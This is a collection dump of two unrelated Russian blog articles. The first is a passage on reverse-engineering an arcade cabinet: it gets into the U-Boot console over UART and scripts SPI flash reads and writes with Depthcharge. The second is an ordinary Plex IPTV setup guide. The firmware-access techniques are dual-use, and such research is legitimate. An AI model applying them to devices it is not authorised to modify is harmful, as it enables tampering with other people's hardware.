Пока данные совпадают и с выводом на запущенной системе, и в таблице разделов из меню UBoot. Следовательно, мы можем извлечь раздел squashfs с помощью `unsquashfs` и попробовать смонтировать раздел ext2, чтобы убедиться в их правильности:
`pi@voidstar:~/marvel-cab/parts $ unsquashfs part4.bin
Parallel unsquashfs: Using four processors
1029 inodes (1792 blocks) to write
create_inode: could not create character device squashfs-root/dev/console, because you're not superuser!
created 596 files
created 157 directories
created 431 symlinks
created 0 devices
created 0 fifos
pi@voidstar:~/marvel-cab/parts $ ls squashfs-root/
bin busybox.config data dev etc lib lib32 linuxrc media misc mnt moo OEM opt proc root run sbin sdcard sys timestamp tmp udisk userdata usr var
pi@voidstar:~/marvel-cab/parts $ ls squashfs-root/moo/
docs logo.mp4 MOO MOO-Ship-MIME_CCADE_MSH_2P-BRK01 SKUShell.MIME_CCADE_SF2_2P.19.exe start.sh _ui assets`
Похоже, с файловой системой рута всё в порядке, и теперь мы можем приступить к реверс-инжинирингу ПО и более подробному изучению возможных способов модификации этой системы для запуска других игр или выполнения собственной прошивки.
Убедившись, что мы можем считывать флэш-память, давайте проверим, сможем ли мы записать этот образ обратно при помощи описанного выше способа:
`=> usb read $scriptaddr 0 0x35E00
usb read: device 0 block # 0, count 220672 ... 220672 blocks read: OK
=> rksfc write $scriptaddr 0x35E00 0
spinand write: device 0 block # 0, count 220672 ... 220672 blocks written: OK`
Перезагрузимся и будем надеяться, что перезаписанный образ будет работать.
Успех! Теперь мы можем считывать/записывать SPI flash из UBoot при помощи USB-накопителя; это будет полезно для тестирования патчей и модификаций прошивки!
Теперь, когда мы научились считывать/записывать флэш-память автомата при помощи UBoot, было бы здорово научиться затирать отдельные разделы и сегменты флэш-памяти автоматически, без необходимости каждый раз вводить интервалы вручную. Для этого мы воспользуемся утилитой Depthcharge, позволяющей оптимизировать взаимодействие с UBoot!
Скриптинг UBoot при помощи Depthcharge
======================================
При работе со средами UBoot нам часто бывает нужно автоматизировать наше взаимодействие. В нашем случае, например, нам может потребоваться автоматизация перезаписи определённого раздела во флэш-памяти без необходимости каждый раз вводить смещения адресов. К счастью, ребята из [NCC Group](https://twitter.com/NCCGroupInfosec) создали инструмент [depthcharge](https://depthcharge.readthedocs.io/en/latest/), который поможет нам в этом. Можно использовать его для автоматизации процесса считывания и записи данных между флэш-чипом и внешним USB-накопителем. Наш скрипт должен уметь делать следующее:
1. Подключаться к UART и обнаруживать командную строку UBoot
2. Выполнять считывание и запись в SPI flash с помощю команд `rksfc read/write`
3. Выполнять считывание и запись на USB-накопитель при помощи команд `USB read/write`
Сначала нужно установить модуль; мы можем установить `depthcharge` на Pi, выполнив `sudo pip install depthcharge`.
Подключение к UART и обнаружение командной строки UBoot
-------------------------------------------------------
Мы можем подключиться к командной строке UBoot при помощи следующего кода на python:
```
def console_setup():
console=Console("/dev/ttyS0",baudrate=115200)
ctx = Depthcharge(console,arch="arm")
return ctx
```
В представленной выше функции и мы создаём объект `Console`, требующий, чтобы мы указали путь к последовательному порту и baud rate. Этот объект консоли затем используется для создания контекста Depthcharge, которым мы будем пользоваться для доступа к возможностям Depthcharge. В [документации depthcharge](https://depthcharge.readthedocs.io/en/latest/api/depthcharge.html) есть хорошо описанный пример этого и подробно излагается процесс настройки.
Считывание и запись во флэш-память при помощи depthcharge
---------------------------------------------------------
Теперь, когда мы подключились к интерфейсу, нам нужно реализовать команды read и write `rksfc`. Мы можем это сделать при помощи API `send_command()` утилиты depthcharge. Этот вызов API позволяет нам генерировать и передавать команду UBoot в командную строку и возвращать ответ. В примере ниже мы создаём команду чтения в переменной `cmd_str` и проверяем правильность форматирования аргументов, а затем отправляем команду при помощи API `send_command()`.
```
def rksfc_read(ctx,dest_addr,src_addr,size):
cmd_str = f"rksfc read 0x{dest_addr:02x} 0x{src_addr:02x} 0x{size:02x}"
resp = ctx.send_command(cmd_str)
return resp
def rksfc_write(ctx,dest_addr,src_addr,size):
cmd_str = f"rksfc write 0x{dest_addr:02x} 0x{src_addr:02x} 0x{size:02x}"
resp = ctx.send_command(cmd_str)
time.sleep(10)
return resp
```
Реализовав считывание и запись флэш-памяти, мы должны теперь зарегистрировать стек USB, а затем выполнять считывание/запись с накопителя.
Считывание и запись на USB при помощи depthcharge
-------------------------------------------------
Аналогично тому, как мы реализовали команды `rksfc`, далее нам нужно реализовать команды `usb`. Этот процесс будет схож с тем, который мы использовали для команд `rksfc`:
```
'''
usb_setup
This script is used to enumerate and set up the USB port
'''
def usb_setup(ctx,reset=False):
resps = []
if not reset:
resp = ctx.send_command("usb start")
else:
resp = ctx.send_command("usb reset")
resps.append(resp)
resp = ctx.send_command("usb storage")
resps.append(resp)
resp = ctx.send_command("usb dev 0")
resps.append(resp)
return resps
'''
USB write addr blk# cnt - write `cnt' blocks starting at block `blk#'
from memory address `addr'
'''
def usb_raw_write(ctx,source_addr,block,size):
cmd = f"usb write 0x{source_addr:x} 0x{block:x} 0x{size:x}"
resp = ctx.send_command(cmd)
return resp
'''
USB read addr blk# cnt - read `cnt' blocks starting at block `blk#'
to memory address `addr'
'''
def usb_raw_read(ctx,source_addr,block,size):
cmd = f"usb read 0x{source_addr:x} 0x{block:x} 0x{size:x}"
resp = ctx.send_command(cmd)
return resp
```
Дамп флэш-памяти при помощи Depthcharge
---------------------------------------
Теперь, когда мы подготовили соответствующие функции, попробуем сделать следующее:
```
if __name__ == "__main__":
log.info("Marvel Super Heroes Depthcharge Test...")
ctx = console_setup()
usb_setup(ctx,reset=False)
# Read the SPI flash into RAM
rksfc_read(ctx,TARGET_RAM_ADDR,0,0x35E00)
log.info("Flash read into RAM")
# Write the data from RAM to a USB drive
usb_raw_write(ctx,TARGET_RAM_ADDR,0,0x35E00)
log.info("Flash written to USB")
```
После запуска этого скрипта получим следующий результат:
`pi@voidstar:~/marvel-cab/scripts $ python3 mvc.py
[+] Marvel Super Heroes Deptcharge Test...
[*] Using default payload base address: ${loadaddr} + 32MiB
[*] No user-specified prompt provided. Attempting to determine this.
[*] Identified prompt: =>
[*] Retrieving command list via "help"
[*] Reading environment via "printenv"
[!] Disabling payload deployment and execution due to error(s).
[*] Version: U-Boot 2017.09-g4857df5-dirty #lzy (Mar 24 2021 - 16:18:22 +0800)
[*] Enumerating available MemoryWriter implementations...
[*] Available: CpMemoryWriter
[*] Available: CRC32MemoryWriter
[*] Excluded: I2CMemoryWriter - Command "i2c" required but not detected.
[*] Excluded: LoadbMemoryWriter - Command "loadb" required but not detected.
[*] Excluded: LoadxMemoryWriter - Command "loadx" required but not detected.
[*] Excluded: LoadyMemoryWriter - Command "loady" required but not detected.
[*] Available: MmMemoryWriter
[*] Available: MwMemoryWriter
[*] Available: NmMemoryWriter
[*] Enumerating available MemoryReader implementations...
[!] Excluded: CpCrashMemoryReader - Operation requires crash or reboot, but opt-in not specified.
[*] Available: CRC32MemoryReader
[!] Excluded: GoMemoryReader - Payload deployment+execution opt-in not specified
[*] Excluded: I2CMemoryReader - Command "i2c" required but not detected.
[*] Excluded: ItestMemoryReader - Command "itest" required but not detected.
[*] Available: MdMemoryReader
[*] Available: MmMemoryReader
[*] Excluded: SetexprMemoryReader - Command "setexpr" required but not detected.
[*] Enumerating available Executor implementations...
[!] Excluded: GoExecutor - Payload deployment+execution opt-in not specified
[*] Enumerating available RegisterReader implementations...
[!] Excluded: CpCrashRegisterReader - Operation requires crash or reboot, but opt-in not specified.
[!] Excluded: CRC32CrashRegisterReader - Operation requires crash or reboot, but opt-in not specified.
[!] Excluded: FDTCrashRegisterReader - Operation requires crash or reboot, but opt-in not specified.
[!] Excluded: ItestCrashRegisterReader - Operation requires crash or reboot, but opt-in not specified.
[!] Excluded: MdCrashRegisterReader - Operation requires crash or reboot, but opt-in not specified.
[!] Excluded: MmCrashRegisterReader - Operation requires crash or reboot, but opt-in not specified.
[!] Excluded: NmCrashRegisterReader - Operation requires crash or reboot, but opt-in not specified.
[!] Excluded: SetexprCrashRegisterReader - Operation requires crash or reboot, but opt-in not specified.
[!] No default RegisterReader available.
[+] spinand read: device 0 block # 0, count 220672 ...
[+] Flash read into RAM
[+] => usb write 0x61700000 0x0 0x35e00
usb write: device 0 block # 0, count 220672 ...
[+] Flash written to USB`
Вставив USB-накопитель, увидим следующие разделы:
`pi@voidstar:~/marvel-cab/scripts $ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 1 57.8G 0 disk
├─sda1 8:1 1 4M 0 part
├─sda2 8:2 1 2M 0 part
├─sda3 8:3 1 9M 0 part
├─sda4 8:4 1 80.8M 0 part
└─sda5 8:5 1 8M 0 part`
Победа! Мы извлекли SPI flash на USB-устройство при помощи Depthcharge!
Содержимое файловой системы
===========================
Теперь, когда мы надёжным образом можем считывать и записывать флэш-память, давайте вкратце изучим её содержимое. Интересные файлы расположены в папке `/moo`. В этой папке находится эмулятор и его ресурсы. Moo — это специализированный эмулятор, использующий собственный формат ROM; в 2020 году исследователи [тщательно изучили](https://www.synacktiv.com/ressources/sf30_r2con.pdf) другую версию этого эмулятора. Однако если посмотреть на содержимое папки, в глаза бросается нечто интересное:
`pi@voidstar:~/marvel-cab/parts/squashfs-root/moo $ file *
docs: symbolic link to ../userdata
logo.mp4: ISO Media, MP4 Base Media v1 [IS0 14496-12:2003]
MOO: symbolic link to MOO-Ship-MIME_CCADE_MSH_2P-BRK01
MOO-Ship-MIME_CCADE_MSH_2P-BRK01: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 4.4.0, stripped
SKUShell.MIME_CCADE_SF2_2P.19.exe: PE32+ executable (GUI) x86-64, for MS Windows
start.sh: POSIX shell script, ASCII text executable
_ui: directory
zassets: directory`
Это ведь не может исполняемый файл Windows PE32? Ну, если мы скопируем его на машину с и попробуем его запустить, то получим следующее:
Работает! Очевидно, это артефакт сборки, который попал в систему незаметно для автора; он связался со мной в Twitter и мы отлично пообщались про реверс-инжиниринг и эмуляцию.
Благодаря описанным в статье способам мы можем выполнять считывание и запись между SPI flash и USB-накопителем при помощи UBoot. Мы извлекли файловую систему рута и идентифицировали основные компоненты эмуляции. Далее нам нужно будет выполнить реверс-инжиниринг части двоичных файлов на этой целевой платформе, чтобы определить, насколько сложно будет запускать собственные прошивки.
Выводы и дальнейшая работа
==========================
В этом посте мы рассказали о том, как подходить к разборке встроенного устройства и идентифицировать потенциальные отладочные разъёмы при помощи мультиметров/логических анализаторов. Затем мы рассказали о том, как анализировать неизвестный трафик UART и подключаться к последовательному порту при помощи `screen` на Raspberry Pi. Подключившись к последовательному порту, мы обнаружили, что доступ к консоли UBoot можно получить нажатием `Ctrl-C`. Изучив консоль UBoot, мы написали скрипт [depthcharge](https://depthcharge.readthedocs.io/en/latest/) для извлечения каждого из разделов SPI flash на внешний флэш-накопитель. В следующем посте мы подробно рассмотрим двоичный файл UBoot и узнаем, как создавать и модифицировать схемы распределения памяти при помощи Ghidra; затем мы попробуем прошить устройство собственным ядром и установить свою прошивку.
Все использованные скрипты и инструменты можно найти на [github](https://github.com/wrongbaud/mvc-cab). | https://habr.com/ru/post/650089/ | null | ru | null |
# Настраиваем просмотр IPTV в Plex Media Server
Телевизор в 2022 году это совершенно другая сущность, если сравнивать и смотреть со стороны даже 2010-х годов. Сейчас мало кто использует телевизор в обычном его понимании - приложения Smart TV, всевозможные сервисы, подписки или домашние медиацентры с сетевыми хранилищами. Телевизор сейчас - это всего лишь экран для отображения картинки. А телевидение так и вообще ушло на второй план или вовсе не интересно пользователю.
А если все же идти в ногу со временем и иметь домашний медиацентр на базе Plex Media Server, но в тоже время не прочь пролистать ТВ-каналы, как в старые добрые времена?
Задача легко решаема, если в вашем обиходе есть DVR-тюнер или провайдер, [поддерживаемый Plex](https://support.plex.tv/articles/225877427-supported-dvr-tuners-and-antennas/). И второй вариант - более современный, без проводов и, собирающих пыль, ресиверов - IPTV с недорогим плейлистом и хорошим телегидом. Именно на этом варианте мы и остановимся. Приступаем!
Содержание
----------
1. [Исходные данные и немного теории](#1)
2. [Установка Plex Media Server](#2)
3. [Подготовка плейлиста IPTV](#3)
4. [Установка и настройка HLS Proxy](#4)
5. [Установка и настройка xTeVe](#5)
6. [Подключение xTeVe в Plex Media Server](#6)
1. Исходные данные и немного теории
-----------------------------------
Мой кейс основан на операционной системе Kubuntu 20.04 и Plex Media Server версии 1.25.3.5385, m3u-плейлисте с IPTV-каналами от сервиса [zedom.net](https://zedom.net/welcome/signup/d3408cf6de050495) за $1/месяц и EPG/Picons от [epg.it999.ru](https://epg.it999.ru). Поэтому все манипуляции по установке и настройке будут ориентированы именно на Linux, а также конкретного провайдера IPTV. Но данное решение кроссплатформенное и его можно без проблем реализовать на других платформах (FreeBSD, OS X, Windows).
Так как в Plex Media Server нет возможности прямым способом подключить m3u-плейлист, ведь он ожидает подключения физического тюнера или антенны, нам придется немного изловчиться - будем вещать для Plex через программный ресивер [xTeVe](https://github.com/xteve-project/xTeVe). Важно учесть, что Plex не может принимать поток в формате HLS.
> **HLS** **(m3u8)** - расшифровывается как HTTP Live Streaming. В этой структуре сервер вещания делит поток на отдельные отрезки mp4 по 10 секунд. Это очень удобно, когда провайдеру требуется потоковое вещание в нескольких вариантах качества, чтобы зритель мог использовать подходящий битрейт видео с учетом пропускной способности сети. HLS был изобретен и использовался Apple на своих устройствах. Единственным недостатком является то, что HLS имеет задержку от 10 до 30 секунд.
>
>
> **MPEG-TS (ts)** - состоит из двух частей: MPEG и TS. MPEG - потоковое видео, TS- транспортный поток. Этот формат может предоставлять аудио, видео и метаданные, такие как субтитры и EPG. MPEG имеет функцию исправления ошибок, чтобы сохранить целостность видео при низком уровне сигнала.
>
>
Именно в HLS-формате вещают практически все современные IPTV-провайдеры, без возможности смены этого формата. Мой провайдер не исключение. Поэтому, необходимо будет на входе преобразовывать HLS-эфир и отдавать в Plex уже в нужном формате MPEG-TS. Для этого этапа будем использовать [HLS Proxy](https://www.hls-proxy.com).
Воспринимается сложно и громоздко, но на практике все предельно просто и не сложно реализуется. С теорией разобрались - приступаем к работе.
2. Установка Plex Media Server
------------------------------
Если сервер Plex у вас уже развернут - пропускаем этот шаг. Для новой установки необходимо добавить ключ от репозитория downloads.plex.tv и сам репозиторий:
```
echo deb https://downloads.plex.tv/repo/deb public main | sudo tee /etc/apt/sources.list.d/plexmediaserver.list
wget -O - https://downloads.plex.tv/plex-keys/PlexSign.key | sudo apt-key add -
sudo apt-get update && sudo apt -y install plexmediaserver
```
По завершении установки убедимся, что сервер корректно установлен и запущен.
```
systemctl status plexmediaserver
```
Сервис plexmediaserver запущен3. Подготовка плейлиста IPTV
----------------------------
С регистрацией и оплатой на сервисе [ZeDom](https://zedom.net/welcome/signup/d3408cf6de050495), думаю, проблем возникнуть не должно. Описывать подробно это не буду. Первые сутки, кстати, можно попробовать бесплатно.
В личном кабинете в разделе «Плейлист» рекомендую выбрать только нужные вам группы каналов (много зарубежных, не «русскоговорящих»). Помимо выбора групп, также рекомендую пройтись и по самим каналам, отключив не нужные. Сделать это можно в разделе «Конструктор». Так, например, изначально мой плейлист составлял 1800+ каналов. После выключения лишних осталось 480 каналов.
> **480 каналов** - это не случайное число. Именно такое ограничение по количеству каналов в xTeVe. Это обязательно нужно учесть, иначе не сможете добавить ни один канал.
>
>
Плейлист можно использовать как локальным m3u-файлом, так и ссылкой - значения не имеет. Я буду использовать файл с плейлистом, ввиду периодических блокировок провайдером.
4. Установка и настройка HLS Proxy
----------------------------------
Загружаем с [сайта](https://www.hls-proxy.com/) архив с последней стабильной версией для платформы linux x64. На момент написания публикации актуальная версия - 8.0.7.
```
wget -P /tmp https://www.hls-proxy.com/downloads/8.0.7/hls-proxy-8.0.7.linux-x64.zip
```
Разместим HLS Proxy в директорию /opt/hls-proxy, предварительно создав этот каталог и назначив права.
```
sudo mkdir /opt/hls-proxy
sudo chmod -R 0777 /opt/hls-proxy
unzip /tmp/hls-proxy-8.0.7.linux-x64.zip -d /opt/hls-proxy
```
Делаем исполняемыми два файла - hls-proxy и install.sh
```
chmod +x /opt/hls-proxy/hls-proxy install.sh
```
Устанавливаем HTTP-порт 8080 (либо любой другой, если 8080 уже занят) для HLS Proxy. Либо вообще можно не настраивать порт, по умолчанию используется 80.
```
/opt/hls-proxy/hls-proxy -port 8080 -save -quit
```
И устанавливаем сам HLS Proxy с помощью скрипта. Он все сделает автоматически, в том числе добавит юнит в подсистему systemd для автозапуска
```
/opt/hls-proxy/install.sh
```
По завершении установки проверяем, запущен ли сервис hls-proxy
```
sudo systemctl status hls-proxy
```
Сервис успешно запущенТеперь можно перейти к веб интерфейсу HLS Proxy
```
http://ip_адрес_сервера:порт
```
Если порт оставили по умолчанию, то просто переходим по IP-адресу или localhost в браузере. Если все успешно, то вы должны увидеть вот такой незамысловатый интерфейс
Стартовая страница HLS ProxyПереходим к настройке сервера ("Открыть конфиг") и в разделе "Плейлисты" указываем путь к плейлисту от zedom.net. Так как я буду использовать локальный файл, указываю тип -"file" и место расположение файла /opt/hls-proxy/zedom.m3u.
Добавление плейлиста в HLS ProxyВ разделе "Телегид" указываем путь к EPG. Я лично использую программу с качественными логотипами каналов от it999.ru.
> <http://epg.it999.ru/epg2.xml.gz>
>
>
Добавление EPG в HLS ProxyОстальные настройки можно оставить по умолчанию. Сохраняем и переходим на главную страницу. Кликаем "Перезагрузить плейлист" и "Обновить телегид".
Обработка EPGЕсли вы все сделали правильно, то должен отобразиться список ваших каналов, с соответствующими логотипами и телепрограммой.
Загруженные и доступные каналы в HLS ProxyНа этом подготовка HLS Proxy завершена, для дальнейшей работы с ним нам понадобится две ссылки на него:
* **http://адрес\_сервера:порт/?output=ts** - это наш IPTV-плейлиcт уже в нужном формате
* **http://адрес\_сервера:порт/epg** - телегид
5. Установка и настройка xTeVe
------------------------------
Следующим шагом необходимо установить xTeVe и получить в нем весь наш плейлист из HLS Proxy. Для этого загружаем со страницы проекта в [GitHub](https://github.com/xteve-project/xTeVe) архив, распаковываем и размещаем в каталоге /opt/ и делаем исполняемым бинарный файл xteve.
```
wget -P /tmp https://github.com/xteve-project/xTeVe-Downloads/blob/master/xteve_linux_amd64.zip
unzip /tmp/xteve_linux_amd64.zip -d /opt/
sudo chmod +x /opt/xteve
```
Запустить xTeVe можно вручную выполнив /opt/xteve, а для запуска xTeVe при старте системы создаем юнит в подсистеме systemd
```
sudo mcedit /etc/systemd/system/xteve.service
```
Вставляем содержимое
```
[Unit]
Description=xTeVe Service
Wants=network-online.target
After=network-online.target
[Service]
Type=simple
ExecStart=/opt/xteve
ExecReload=/usr/bin/killall xteve
ExecStop=/usr/bin/killall xteve
KillMode=process
Restart=always
RestartSec=15
[Install]
WantedBy=multi-user.target
```
Перечитываем изменения, добавляем символическую ссылку в автозапуск и запускаем сервис
```
sudo systemctl daemon-reload
sudo systemctl enable xteve
sudo systemctl start xteve
```
Убедимся, что юнит создан правильно и сервис запущен
```
sudo systemctl status xteve
```
Сервис xteve запущен и работаетВеб-интерфейс xTeVe будет доступен по адресу
> http://ip\_адрес\_сервера:34400/web/
>
>
Приступаем к настройке. Количество тюнеров можно выставить максимальное, это позволит просматривать трансляции параллельно, на нескольких устройствах одновременно. Но не стоит забывать об ограничениях IPTV-провайдера. Например, zedom допускает одновременный просмотр только на двух устройствах.
Тип источника EPG - XEPG.
Указываем адрес к плейлисту в формате MPEG-TS на нашем сервере HLS Proxy, обязательно используя параметр **?output=ts**.
Указываем путь к EPG на сервере HLS Proxy.
Если вы прежде все делали правильно, то xTeVe должен обработать плейлист и EPG. В сводке сверху страницы будут указаны доступные каналы и пути для подключения клиентами.
Также в разделе "Mapping" можно увидеть все подключенные каналы с их логотипами.
Все подготовительные работы выполнены, в конечном результате мы получили IPTV-плейлист в MPEG-TS формате, доступный по пути:
* **http://ip\_адрес\_сервера:34400** - IP-адрес нашего программного DVR-ресивера
* **http://ip\_адрес\_сервера:34400/xmltv/xteve.xml** - телегид
6. Подключение xTeVe в Plex Media Server
----------------------------------------
Переходим в настройки аккаунта и раздел "Прямой эфир и записи" и добавляем наш ресивер.
Plex без проблем обнаруживает наш тюнер и все доступные каналы. Страну не выбираем, а нажимаем на гиперссылку "Использовать телегид для XMLTV" и указываем адрес к EPG на xTeVe (http://ip\_адрес\_сервера:34400/xmltv/xteve.xml).
Ожидаем, пока Plex обработает весь список каналов и загрузит EPG. Первое выполнение займет достаточно много времени.
В HLS Proxy можно наблюдать сводную информацию о текущем потоке во время просмотра, а также детальное логирование процесса.
Мобильный клиент Plex на iOS также прекрасно справляется с просмотром IPTV, без торможений и фризов, с детальным телегидом и "ровными" логотипами каналов.
Заключение
----------
Все готово, теперь можно наслаждаться просмотром ТВ с домашним сервером Plex, без громоздких и пыльных ресиверов, проводов и практически даром! Да, реализация немного усложнена, ввиду определенных особенностей, как самого Plex, так и формата вещания IPTV-сервиса.
Помимо трудностей в реализации, такая схема вещания влечет за собой еще и потребность в больших ресурсах сервера. Самым "прожорливым" до оперативной памяти в этой цепочке является xTeVe - использует порядка 850 Мб, что для домашнего медиацентра может оказаться критичным. HLS Proxy менее требовательный и даже во время просмотра канала использует около 180 Мб. Если же сравнивать Plex, например, с Kodi, то он с PVR IPTV Simple Client просмотр IPTV решает гораздо проще и менее ресурсоемко.
Еще одним недостатком просмотра IPTV в Plex из m3u является повышенная задержка при переключении каналов. В среднем, переключение занимает порядка 5 секунд, оно и понятно, ведь путь и преобразования, которые проходит эфир от входа до стрима на конечном устройстве не малый. Не влияет на задержку и качество самого эфира - нет разницы при переключении FHD или HD-каналов. Также на уровне погрешности разница в задержке при переключении каналов на локальном хосте или же при стриминге на конечное устройство по Wi-Fi - то есть, канал связи практически не влияет скорость переключения. Виновница задержки, определенно, "гирлянда" из посредников в лице HLS Proxy и xTeVe.
##### Другие мои публикации на тему домашних медиацентров
[KODI. Собираем удобный и функциональный медиацентр для дома](https://habr.com/ru/post/548640/)
[KODI. MariaDB и синхронизация медиатеки](https://habr.com/ru/post/551886/)
[KODI. Архив IPTV (catchup+timeshift)](https://habr.com/ru/post/549354/)
[Совместное использование серверов Kodi и Plex](https://habr.com/ru/post/599579/) | https://habr.com/ru/post/645155/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.